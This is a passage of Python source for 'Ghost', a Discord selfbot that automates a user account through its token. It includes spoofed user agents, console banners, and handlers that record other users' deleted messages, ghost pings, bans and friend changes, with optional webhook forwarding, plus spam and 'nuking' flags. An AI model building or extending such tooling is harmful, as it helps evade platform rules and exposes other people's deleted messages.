Safari/537.36#", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.114 Safari/537.36", "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/538 (KHTML, like Gecko) Chrome/36 Safari/538", "Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.43 Safari/535.1", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.18 Safari/535.1", "Mozilla/5.0 (X11; Linux x86_64; 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/17.0.1410.63 Safari/537.31", "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2583.0 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2151.2 Safari/537.36", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.18 Safari/535.1", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/536.36 (KHTML, like Gecko) Chrome/67.2.3.4 Safari/536.36", "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.5", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.69 Safari/537.36", "Mozilla/5.0 (Windows NT 10.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.81 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Safari/537.36 EdgA/41.0.0.1662", "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.1"] userAgent = random.choice(userAgents) return userAgent def avatarUrl(id, avatar): url = "" if not str(avatar).startswith("http"): if str(avatar).startswith("a_"): url = f"https://cdn.discordapp.com/avatars/{id}/{avatar}.gif?size=1024" else: url = f"https://cdn.discordapp.com/avatars/{id}/{avatar}.png?size=1024" return url else: return avatar def iconUrl(id, icon): url = "" if str(icon).startswith("a_"): url = f"https://cdn.discordapp.com/avatars/{id}/{icon}.gif?size=1024" else: url = f"https://cdn.discordapp.com/avatars/{id}/{icon}.png?size=1024" return icon def resource_path(relative_path): # try: # base_path = sys._MEIPASS # except Exception: # base_path = os.path.abspath(".") # return os.path.join(base_path, relative_path) return relative_path def get_friends(token): request = requests.get("https://discord.com/api/users/@me/relationships", headers={"Authorization": token}) json = request.json() friends = [] for item in json: if item["type"] == 1: friends.append(item["user"]) return friends class Config(): def __init__(self): self.json = json.load(open("config.json")) self.token = self.json["token"] self.prefix = self.json["prefix"] self.deleteTimeout = self.json["delete_timeout"] self.theme = self.json["theme"] self.giveawayJoinDelay = self.json["giveaway_join_delay"] def getConfig(): return json.load(open("config.json")) def saveConfig(data): return json.dump(data, open("config.json", "w"), indent=4, sort_keys=False) def changeToken(newToken): global __token__ __token__ = newToken cfg = Config.getConfig() cfg["token"] = newToken Config.saveConfig(cfg) def changePrefix(newPrefix): global __prefix__ __prefix__ = newPrefix Ghost.command_prefix = newPrefix cfg = Config.getConfig() cfg["prefix"] = newPrefix Config.saveConfig(cfg) def changeDeleteTimeout(newDeleteTimeout): global __deletetimeout__ newDeleteTimeout = int(newDeleteTimeout) __deletetimeout__ = newDeleteTimeout cfg = Config.getConfig() cfg["delete_timeout"] = newDeleteTimeout Config.saveConfig(cfg) def changeGiveawayJoinDelay(newJoinDelay): global __giveawayjoindelay__ newJoinDelay = int(newJoinDelay) __giveawayjoindelay__ = newJoinDelay cfg = Config.getConfig() cfg["giveaway_join_delay"] = newJoinDelay Config.saveConfig(cfg) def changeTheme(newTheme): global __embedtitle__, __embedcolour__, __embedfooter__, __embedemoji__, __embedimage__, __embedfooterimage__, __embedcolourraw__, __theme__, __embedlargeimage__ __embedtitle__ = json.load(open(f"themes/{newTheme}.json"))["embedtitle"] __embedcolour__ = int(json.load(open(f"themes/{newTheme}.json"))["embedcolour"].replace('#', '0x'), 0) __embedcolourraw__ = json.load(open(f"themes/{newTheme}.json"))["embedcolour"] __embedfooter__ = json.load(open(f"themes/{newTheme}.json"))["embedfooter"] __embedemoji__ = json.load(open(f"themes/{newTheme}.json"))["globalemoji"] __embedimage__ = json.load(open(f"themes/{newTheme}.json"))["embedimage"] __embedfooterimage__ = json.load(open(f"themes/{newTheme}.json"))["embedfooterimage"] __embedlargeimage__ = json.load(open(f"themes/{newTheme}.json"))["embedlargeimage"] __theme__ = newTheme cfg = Config.getConfig() cfg["theme"] = newTheme Config.saveConfig(cfg) ccolourred, ccolourgreen, ccolourblue = hex_to_rgb(__consolecolour__) fg.consoleColour = Style(RgbFg(ccolourred, ccolourgreen, ccolourblue)) fg.cRed = Style(RgbFg(255, 81, 69)) fg.cOrange = Style(RgbFg(255, 165, 69)) fg.cYellow = Style(RgbFg(255, 255, 69)) fg.cGreen = Style(RgbFg(35, 222, 57)) fg.cBlue = Style(RgbFg(69, 119, 255)) fg.cPurple = Style(RgbFg(177, 69, 255)) fg.cPink = Style(RgbFg(255, 69, 212)) fg.cGrey = Style(RgbFg(207, 207, 207)) fg.cBrown = Style(RgbFg(199, 100, 58)) fg.cBlack = Style(RgbFg(0, 0, 0)) fg.cWhite = Style(RgbFg(255, 255, 255)) if is_windows(): os.system("cls") os.system(f"title Ghost") elif is_linux(): os.system("clear") if requests.get("https://discord.com/api/users/@me/settings", headers={"Authorization": __token__}).status_code == 200: status = requests.get("https://discord.com/api/users/@me/settings", headers={"Authorization": __token__}).json()["status"] else: status = "online" Ghost = commands.Bot(command_prefix=__prefix__, self_bot=True, status=discord.Status.try_value(status)) Ghost.remove_command('help') Ghost.launch_time = datetime.utcnow() botStartTime = time.time() giveawayBots = [] for index in GIVEAWAYBOTS: giveawayBots.append(int(index)) version = "2.3.7" cycleStatusText = "" cycleStatus = False discordServer = "discord.gg/reKgzfRrpt" uwuifyEnabled = False channelBlankChar = "᲼" spammingMessages = False rickRollEnabled = False nukingToken = False consoleMode = __consolemode__ consoleModes = ["new", "new2", "new3", "new4", "bear", "old", "react", "rise", "nighty", "rainbow"] scriptsList = [] afkMode = CONFIG["afkmode"]["enabled"] def include(filename): global scriptsList if os.path.exists(filename): scriptsList.append(filename) exec(codecs.open(filename, encoding="utf-8").read(), globals(), locals()) # hideText = "||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||" if not __custommotd__: motd = "Developed by Benny | Discontinued October 2021" else: motd = __custommotdtext__ @Ghost.event async def on_connect(): if str(sounddevice.query_devices()) != "": pygame.mixer.init() width = os.get_terminal_size().columns if is_windows(): os.system("cls") os.system(f"title Ghost [{version}] [{Ghost.user}]") # if is_windows(): # def startupPath(): # return str(shell.SHGetFolderPath(0, (shellcon.CSIDL_STARTUP, shellcon.CSIDL_COMMON_STARTUP)[0], None, 0)) # os.system("cls") # os.system(f"title Ghost [{version}] [{Ghost.user}]") # if (CONFIG["load_on_startup"] == True): # print("Adding to startup.......") # USER_NAME = getpass.getuser() # def add_to_startup(file_path=""): # if file_path == "": # file_path = os.path.dirname(os.path.realpath(__file__)) # bat_file = open(startupPath() + r"\\Ghost.bat", "w") # bat_file.write(f"cd {file_path}\nstart Ghost") # bat_file.close() # add_to_startup() # else: # print("Removing from startup......") # if os.path.exists(startupPath() + r"\\Ghost.bat"): os.remove(startupPath() + r"\\Ghost.bat"); # os.system("cls") if is_linux(): os.system("clear") if consoleMode.lower() == "new": print("") print(fg.consoleColour + "") print(" ██████╗ ██╗ ██╗ ██████╗ ███████╗████████╗".center(width)) print("██╔════╝ ██║ ██║██╔═══██╗██╔════╝╚══██╔══╝".center(width)) print("██║ ███╗███████║██║ ██║███████╗ ██║ ".center(width)) print("██║ ██║██╔══██║██║ ██║╚════██║ ██║ ".center(width)) print("╚██████╔╝██║ ██║╚██████╔╝███████║ ██║ ".center(width)) print(" ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═╝ ".center(width)) print("") print(fg.cWhite + f"{motd}".center(width)) print(fg.consoleColour + '─'*width) print("") if consoleMode.lower() == "rainbow": print("") print(fg.consoleColour + "") print(fg.cRed + " ██████╗ ██╗ ██╗ ██████╗ ███████╗████████╗".center(width)) print(fg.cOrange + "██╔════╝ ██║ ██║██╔═══██╗██╔════╝╚══██╔══╝".center(width)) print(fg.cYellow + "██║ ███╗███████║██║ ██║███████╗ ██║ ".center(width)) print(fg.cGreen + "██║ ██║██╔══██║██║ ██║╚════██║ ██║ ".center(width)) print(fg.cBlue + "╚██████╔╝██║ ██║╚██████╔╝███████║ ██║ ".center(width)) print(fg.cPurple + " ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═╝ ".center(width)) print("") print(fg.cWhite + f"{motd}".center(width)) print(fg.consoleColour + '─'*width) print("") if consoleMode.lower() == "new2": print("") print(fg.consoleColour + "") print(" ______ __ __ ______ ______ ______ ".center(width)) print("/\ ___\ /\ \_\ \ /\ __ \ /\ ___\ /\__ _\ ".center(width)) print("\ \ \__ \ \ \ __ \ \ \ \/\ \ \ \___ \ \/_/\ \/ ".center(width)) print(" \ \_____\ \ \_\ \_\ \ \_____\ \/\_____\ \ \_\ ".center(width)) print(" \/_____/ \/_/\/_/ \/_____/ \/_____/ \/_/ ".center(width)) print(" ".center(width)) print("") print(fg.cWhite + f"{motd}".center(width)) print(fg.consoleColour + '─'*width) print("") if consoleMode.lower() == "new3": print("") print(fg.consoleColour + "") print(" 88 ".center(width)) print(" 88 ,d ".center(width)) print(" 88 88 ".center(width)) print(" ,adPPYb,d8 88,dPPYba, ,adPPYba, ,adPPYba, MM88MMM ".center(width)) print('a8" `Y88 88P\' "8a a8" "8a I8[ "" 88 '.center(width)) print('8b 88 88 88 8b d8 `"Y8ba, 88 '.center(width)) print('"8a, ,d88 88 88 "8a, ,a8" aa ]8I 88, '.center(width)) print(' `"YbbdP"Y8 88 88 `"YbbdP"\' `"YbbdP"\' "Y888 '.center(width)) print(' aa, ,88 '.center(width)) print(' "Y8bbdP" '.center(width)) print("") print(fg.cWhite + f"{motd}".center(width)) print(fg.consoleColour + '─'*width) print("") if consoleMode.lower() == "new4": print("") print(fg.consoleColour + "") print(" ▄██████▄ ▄█ █▄ ▄██████▄ ▄████████ ███ ".center(width)) print(" ███ ███ ███ ███ ███ ███ ███ ███ ▀█████████▄ ".center(width)) print(" ███ █▀ ███ ███ ███ ███ ███ █▀ ▀███▀▀██ ".center(width)) print(" ▄███ ▄███▄▄▄▄███▄▄ ███ ███ ███ ███ ▀ ".center(width)) print('▀▀███ ████▄ ▀▀███▀▀▀▀███▀ ███ ███ ▀███████████ ███ '.center(width)) print(' ███ ███ ███ ███ ███ ███ ███ ███ '.center(width)) print(' ███ ███ ███ ███ ███ ███ ▄█ ███ ███ '.center(width)) print(' ████████▀ ███ █▀ ▀██████▀ ▄████████▀ ▄████▀ '.center(width)) print("") print(fg.cWhite + f"{motd}".center(width)) print(fg.consoleColour + '─'*width) print("") if consoleMode.lower() == "bear": if is_windows(): os.system("mode con: cols=90 lines=24") print("") print(fg.consoleColour + "") print(" ▄▀▀▀▄▄▄▄▄▄▄▀▀▀▄ ".center(os.get_terminal_size().columns)) print(" █▒▒░░░░░░░░░▒▒█ ".center(os.get_terminal_size().columns)) print(" █░░█░░░░░█░░█ ".center(os.get_terminal_size().columns)) print(" ▄▄ █░░░▀█▀░░░█ ▄▄ ".center(os.get_terminal_size().columns)) print(" █░░█ ▀▄░░░░░░░▄▀ █░░█ ".center(os.get_terminal_size().columns)) print("█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█".center(os.get_terminal_size().columns)) print("█░█▀▀░░█ █░░█▀█░░█▀░░▀█▀░█".center(os.get_terminal_size().columns)) print("█░█▄█░░█▀█░░█▄█░░▄█░░ █ ░█".center(os.get_terminal_size().columns)) print("█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█".center(os.get_terminal_size().columns)) print("") print(fg.cWhite + f"{motd}".center(os.get_terminal_size().columns)) print(fg.consoleColour + '─'*os.get_terminal_size().columns) print("") elif consoleMode.lower() == "old": print("") print(fg.consoleColour + "") print(" ▄████ ██░ ██ ▒█████ ██████ ▄▄▄█████▓".center(width)) print(" ██▒ ▀█▒▓██░ ██▒▒██▒ ██▒▒██ ▒ ▓ ██▒ ▓▒".center(width)) print("▒██░▄▄▄░▒██▀▀██░▒██░ ██▒░ ▓██▄ ▒ ▓██░ ▒░".center(width)) print("░▓█ ██▓░▓█ ░██ ▒██ ██░ ▒ ██▒░ ▓██▓ ░ ".center(width)) print("░▒▓███▀▒░▓█▒░██▓░ ████▓▒░▒██████▒▒ ▒██▒ ░ ".center(width)) print(" ░▒ ▒ ▒ ░░▒░▒░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░ ▒ ░░ ".center(width)) print(" ░ ░ ▒ ░▒░ ░ ░ ▒ ▒░ ░ ░▒ ░ ░ ░ ".center(width)) print("░ ░ ░ ░ ░░ ░░ ░ ░ ▒ ░ ░ ░ ░ ".center(width)) print(" ░ ░ ░ ░ ░ ░ ░ ".center(width)) print("") print(fg.cWhite + f"{motd}".center(width)) print(fg.consoleColour + '─'*width) print("") elif consoleMode not in consoleModes: print("") print(fg.consoleColour + "") print(" ██████╗ ██╗ ██╗ ██████╗ ███████╗████████╗".center(width)) print("██╔════╝ ██║ ██║██╔═══██╗██╔════╝╚══██╔══╝".center(width)) print("██║ ███╗███████║██║ ██║███████╗ ██║ ".center(width)) print("██║ ██║██╔══██║██║ ██║╚════██║ ██║ ".center(width)) print("╚██████╔╝██║ ██║╚██████╔╝███████║ ██║ ".center(width)) print(" ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═╝ ".center(width)) print("") print(fg.cWhite + f"{motd}".center(width)) print(fg.consoleColour + '─'*width) print("") if consoleMode.lower() == "react": print("") print(fg.consoleColour + "") print("██████╗ ███████╗ █████╗ ██████╗████████╗".center(width)) print("██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝".center(width)) print("██████╔╝█████╗ ███████║██║ ██║ ".center(width)) print("██╔══██╗██╔══╝ ██╔══██║██║ ██║ ".center(width)) print("██║ ██║███████╗██║ ██║╚██████╗ ██║ ".center(width)) print("╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ".center(width)) print("") print(fg.cWhite + f"{motd}".center(width)) print(fg.consoleColour + '─'*width) print("") if consoleMode.lower() == "rise": print(fg.cBlue + "") print("██████╗ ██╗███████╗███████╗ ███████╗███████╗██╗ ███████╗██████╗ ██████╗ ████████╗".center(width)) print("██╔══██╗██║██╔════╝██╔════╝ ██╔════╝██╔════╝██║ ██╔════╝██╔══██╗██╔═══██╗╚══██╔══╝".center(width)) print("██████╔╝██║███████╗█████╗ ███████╗█████╗ ██║ █████╗ ██████╔╝██║ ██║ ██║ ".center(width)) print("██╔══██╗██║╚════██║██╔══╝ ╚════██║██╔══╝ ██║ ██╔══╝ ██╔══██╗██║ ██║ ██║ ".center(width)) print("██║ ██║██║███████║███████╗ ███████║███████╗███████╗██║ ██████╔╝╚██████╔╝ ██║ ".center(width)) print("╚═╝ ╚═╝╚═╝╚══════╝╚══════╝ ╚══════╝╚══════╝╚══════╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ".center(width)) print("╭─━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━─╮") print(fg.cGrey + f"Connected: {Ghost.user} | Prefix: {Ghost.command_prefix} | Servers: {len(Ghost.guilds)}".center(width)) print(fg.cBlue + "╰─━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━─╯") print("") print(fg.cBlue + '━'*width) print("") if consoleMode.lower() == "nighty": if is_windows(): os.system("mode con: cols=90 lines=24") print("") print(f" {fg.cWhite}███{fg.consoleColour}╗ {fg.cWhite}██{fg.consoleColour}╗{fg.cWhite}██{fg.consoleColour}╗ {fg.cWhite}██████{fg.consoleColour}╗ {fg.cWhite}██{fg.consoleColour}╗ {fg.cWhite}██{fg.consoleColour}╗{fg.cWhite}████████{fg.consoleColour}╗{fg.cWhite}██{fg.consoleColour}╗ {fg.cWhite}██{fg.consoleColour}╗") print(f" {fg.cWhite}████{fg.consoleColour}╗ {fg.cWhite}██{fg.consoleColour}║{fg.cWhite}██{fg.consoleColour}║{fg.cWhite}██{fg.consoleColour}╔════╝ {fg.cWhite}██{fg.consoleColour}║ {fg.cWhite}██{fg.consoleColour}║╚══{fg.cWhite}██{fg.consoleColour}╔══╝╚{fg.cWhite}██{fg.consoleColour}╗ {fg.cWhite}██{fg.consoleColour}╔╝") print(f" {fg.cWhite}██{fg.consoleColour}╔{fg.cWhite}██{fg.consoleColour}╗ {fg.cWhite}██{fg.consoleColour}║{fg.cWhite}██{fg.consoleColour}║{fg.cWhite}██{fg.consoleColour}║ {fg.cWhite}███{fg.consoleColour}╗{fg.cWhite}███████{fg.consoleColour}║ {fg.cWhite}██{fg.consoleColour}║ ╚{fg.cWhite}████{fg.consoleColour}╔╝ ") print(f" {fg.cWhite}██{fg.consoleColour}║╚{fg.cWhite}██{fg.consoleColour}╗{fg.cWhite}██{fg.consoleColour}║{fg.cWhite}██{fg.consoleColour}║{fg.cWhite}██{fg.consoleColour}║ {fg.cWhite}██{fg.consoleColour}║{fg.cWhite}██{fg.consoleColour}╔══{fg.cWhite}██{fg.consoleColour}║ {fg.cWhite}██{fg.consoleColour}║ ╚{fg.cWhite}██{fg.consoleColour}╔╝ ") print(f" {fg.cWhite}██{fg.consoleColour}║ ╚{fg.cWhite}████{fg.consoleColour}║{fg.cWhite}██{fg.consoleColour}║╚{fg.cWhite}██████{fg.consoleColour}╔╝{fg.cWhite}██{fg.consoleColour}║ {fg.cWhite}██{fg.consoleColour}║ {fg.cWhite}██{fg.consoleColour}║ {fg.cWhite}██{fg.consoleColour}║ ") print(fg.consoleColour + f" ╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ") print("") print(f"{fg.cWhite}Status: {fg.cGreen}Connected") print(f"{fg.cWhite}Account: {Ghost.user} [{len(Ghost.guilds)} servers] [{len(get_friends(__token__))} friends]") print(f"{fg.cWhite}Prefix: {Ghost.command_prefix}") print(fg.cWhite + '─'*os.get_terminal_size().columns) # def getCurrentTime(): # return datetime.now().strftime("%H:%M") # def print_important(message): # print(f"{fg.cGrey}{getCurrentTime()} | {fg.cPurple}[Important] {fg.cGrey} | {message}") # def print_info(message): # print(f"{fg.cGrey}{getCurrentTime()} | {fg.cYellow}[Information] {fg.cGrey} | {message}") # def print_cmd(command): # print(f"{fg.cGrey}{getCurrentTime()} | {fg.consoleColour}[Command] {fg.cGrey} | {Ghost.command_prefix}{command}") # def print_sharecmd(author, command): # print(f"{fg.cGrey}[{getCurrentTime()}] {fg.consoleColour}[SHARE COMMAND] {fg.cWhite}({author}) {command}") # def print_error(error): # print(f"{fg.cGrey}{getCurrentTime()} | {fg.cRed}[Error] {fg.cGrey} | {error}") # def print_detect(message): # print(f"{fg.cGrey}{getCurrentTime()} | {fg.cPink}[Detect] {fg.cGrey} | {message}") # def print_sniper(message): # print(f"{fg.cGrey}{getCurrentTime()} | {fg.cOrange}[Sniper] {fg.cGrey} | {message}") # def print_sniper_info(firstmessage, secondmessage): # print(f"{fg.cGrey}{getCurrentTime()} | {fg.cOrange}[Sniper] {fg.cGrey} | {firstmessage} | {secondmessage}") if "beta" in version.lower(): print_important("You're currently using a beta build of Ghost.") print_important("If you notice any bugs please report them to the developer.") print(" ") elif "dev" in version.lower(): print_important("You're currently using a developer build of Ghost.") print_important("If you notice any bugs please report them to the developer.") print(" ") if not os.path.isfile('data/logins.txt'): message = "1" message_bytes = message.encode('ascii') base64_bytes = base64.b64encode(message_bytes) base64_message = base64_bytes.decode('ascii') f = open('data/logins.txt', "w") f.write(base64_message) f.close() else: f = open('data/logins.txt', "r") loginsdata = f.read() base64_message = loginsdata base64_bytes = base64_message.encode('ascii') message_bytes = base64.b64decode(base64_bytes) message = message_bytes.decode('ascii') logindata = int(message)+1 logindata_str = str(logindata) logindata_bytes = logindata_str.encode('ascii') base64_bytes = base64.b64encode(logindata_bytes) base64_logindata = base64_bytes.decode('ascii') f = open('data/logins.txt', "w") f.write(f"{base64_logindata}") f.close() print_info(f"Ghost can now be used with {Ghost.command_prefix} prefix.") send_notification("Ghost", "Successfully connected!", 10) global __ghostloaded__ __ghostloaded__ = True if __sounds__: if str(sounddevice.query_devices()) != "": pygame.mixer.music.load(resource_path("sounds/connected.mp3")) pygame.mixer.music.play(1) if json.load(open("richpresence.json"))["enabled"] == True: def readyCallback(current_user): print(f"{printSpaces}{fg.cGrey}[{getCurrentTime()}] {fg.cBlue}[RPC] {fg.cWhite}Discord rich presence has been enabled.") def disconnectedCallback(codeno, codemsg): print(f"{printSpaces}{fg.cGrey}[{getCurrentTime()}] {fg.cBlue}[RPC] {fg.cWhite}Discord rich presence has been disabled.") def errorCallback(errno, errmsg): print(f"{printSpaces}{fg.cGrey}[{getCurrentTime()}] {fg.cBlue}[RPC] {fg.cWhite}An error happend.") callbacks = {'ready': readyCallback,'disconnected': disconnectedCallback,'error': errorCallback} discord_rpc.initialize(str(json.load(open("richpresence.json"))["client_id"]), callbacks=callbacks, log=False) for i in range(10): discord_rpc.update_presence(**{ 'details': json.load(open("richpresence.json"))["details"].replace("{version}", version), 'state': json.load(open("richpresence.json"))["state"].replace("{version}", version), 'start_timestamp': time.time(), 'large_image_key': json.load(open("richpresence.json"))["large_image_key"], 'large_image_text': json.load(open("richpresence.json"))["large_image_text"], 'small_image_key': json.load(open("richpresence.json"))["small_image_key"], 'small_image_text': json.load(open("richpresence.json"))["small_image_text"] }) discord_rpc.update_connection() await asyncio.sleep(2) discord_rpc.run_callbacks() async def get_message(ctx, id): channelMsgHistory = await ctx.channel.history(limit=999999999).flatten() for message in channelMsgHistory: if message.id == id: msg = message return msg @Ghost.event async def on_error(event): logging.error(str(event)) @Ghost.event async def on_command(ctx): try: await ctx.message.delete() except: pass print_cmd(f"{ctx.command.name}") @Ghost.event async def on_command_error(ctx, error): logging.error(str(error)) if isinstance(error, commands.CommandNotFound): try: await ctx.message.delete() except: pass else: print_error(f"{error}") try: await ctx.message.delete() except: pass @Ghost.event async def on_message_delete(message): if __ghostloaded__: if __deletedmessagesdetect__: if message.guild.id not in __ignoredservers__["deletedmessages"]: print_detect("Deleted Message") print_sniper_info("Content", message.content) print_sniper_info("Author", str(message.author)) try: print_sniper_info("Channel", str(message.channel)) except: pass try: print_sniper_info("Guild", str(message.guild.name)) except: pass if __ghostpingdetect__: if Ghost.user.mentioned_in(message): if message.guild.id not in __ignoredservers__["ghostpings"]: print_detect("Ghost Ping") print_sniper_info("Content", str(message.content)) print_sniper_info("Author", str(message.author)) try: print_sniper_info("Channel", str(message.channel)) except: pass try: print_sniper_info("Guild", str(message.guild.name)) except: pass if __sounds__: if str(sounddevice.query_devices()) != "": pygame.mixer.music.load(resource_path("sounds/notification.mp3")) pygame.mixer.music.play(1) send_notification("Ghost Ping", f"You were ghost pinged in {message.guild} by {message.author}.", 10) if __ghostpingwebhook__ != "": webhook = DiscordWebhook(url=__ghostpingwebhook__) embed = DiscordEmbed(title='Ghost Ping', color=__embedcolourraw__[1:], description=f"`{message.author}` ghost pinged you in `{message.channel}` (`{message.guild}`)") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.set_timestamp() webhook.add_embed(embed) response = webhook.execute() @Ghost.event async def on_member_ban(guild, user): if __ghostloaded__: if __bandetect__: if guild.id not in __ignoredservers__["bans"]: print_detect("Banned") print_sniper_info("Member", f"{user}") print_sniper_info("Member ID", f"{user.id}") print_sniper_info("Guild", f"{guild.name}") if str(Ghost.user) == str(user): if __sounds__: if str(sounddevice.query_devices()) != "": pygame.mixer.music.load(resource_path("sounds/notification.mp3")) pygame.mixer.music.play(1) send_notification("Ban Detect", f"You were banned in {guild.name}.", 10) @Ghost.event async def on_guild_remove(guild): if __ghostloaded__: if __guildleavedetect__: if guild.id not in __guildleaveignoredservers__: print_detect("Guild Left") print_sniper_info("Name", guild.name) print_sniper_info("ID", guild.id) print_sniper_info("Owner", guild.owner) if __guildleavewebhook__ != "": webhook = DiscordWebhook(url=__guildleavewebhook__) embed = DiscordEmbed(title='Guild Leave Detection', color=__embedcolourraw__[1:]) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.set_timestamp() embed.add_embed_field(name='Name', value=str(guild.name), inline=False) embed.add_embed_field(name='ID', value=str(guild.id), inline=False) embed.add_embed_field(name='Owner', value=str(guild.owner), inline=False) webhook.add_embed(embed) response = webhook.execute() @Ghost.event async def on_webhooks_update(channel): if __ghostloaded__: if __webhookmodificationdetect__: if channel.guild.id not in __ignoredservers__["webhookmodifications"]: print_detect("Webhook Modification") try: print_sniper_info("Server", channel.guild.name) except: pass try: print_sniper_info("Channel", channel.name) except: pass @Ghost.event async def on_relationship_add(relationship): if __ghostloaded__: if __friendsupdatedetect__: if isinstance(relationship.type, discord.RelationshipType.incoming_request): print_detect("Incoming Friend Request") print_sniper_info("User", relationship.user.name + "#" + relationship.user.discriminator) print_sniper_info("ID", relationship.user.id) if __friendsupdatewebhook__ != "": webhook = DiscordWebhook(url=__friendsupdatewebhook__) embed = DiscordEmbed(title='Incoming Friend Request', color=__embedcolourraw__[1:]) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.set_timestamp() embed.add_embed_field(name='User', value=relationship.user.name + "#" + relationship.user.discriminator, inline=False) embed.add_embed_field(name='ID', value=str(relationship.user.id), inline=False) webhook.add_embed(embed) response = webhook.execute() if isinstance(relationship.type, discord.RelationshipType.friend): print_detect("New Friend") print_sniper_info("User", relationship.user.name + "#" + relationship.user.discriminator) print_sniper_info("ID", relationship.user.id) if __friendsupdatewebhook__ != "": webhook = DiscordWebhook(url=__friendsupdatewebhook__) embed = DiscordEmbed(title='Incoming Friend Request', color=__embedcolourraw__[1:]) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.set_timestamp() embed.add_embed_field(name='User', value=relationship.user.name + "#" + relationship.user.discriminator, inline=False) embed.add_embed_field(name='ID', value=str(relationship.user.id), inline=False) webhook.add_embed(embed) response = webhook.execute() @Ghost.event async def on_relationship_remove(relationship): if __ghostloaded__: if __friendsupdatedetect__: if isinstance(relationship.type, discord.RelationshipType.outgoing_request): print_detect("Outgoing Friend Request") print_sniper_info("User", relationship.user.name + "#" + relationship.user.discriminator) print_sniper_info("ID", relationship.user.id) if __friendsupdatewebhook__ != "": webhook = DiscordWebhook(url=__friendsupdatewebhook__) embed = DiscordEmbed(title='Outgoing Friend Request', color=__embedcolourraw__[1:]) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.set_timestamp() embed.add_embed_field(name='User', value=relationship.user.name + "#" + relationship.user.discriminator, inline=False) embed.add_embed_field(name='ID', value=str(relationship.user.id), inline=False) webhook.add_embed(embed) response = webhook.execute() if isinstance(relationship.type, discord.RelationshipType.blocked): print_detect("Blocked User") print_sniper_info("User", relationship.user.name + "#" + relationship.user.discriminator) print_sniper_info("ID", relationship.user.id) if __friendsupdatewebhook__ != "": webhook = DiscordWebhook(url=__friendsupdatewebhook__) embed = DiscordEmbed(title='Blocked User', color=__embedcolourraw__[1:]) 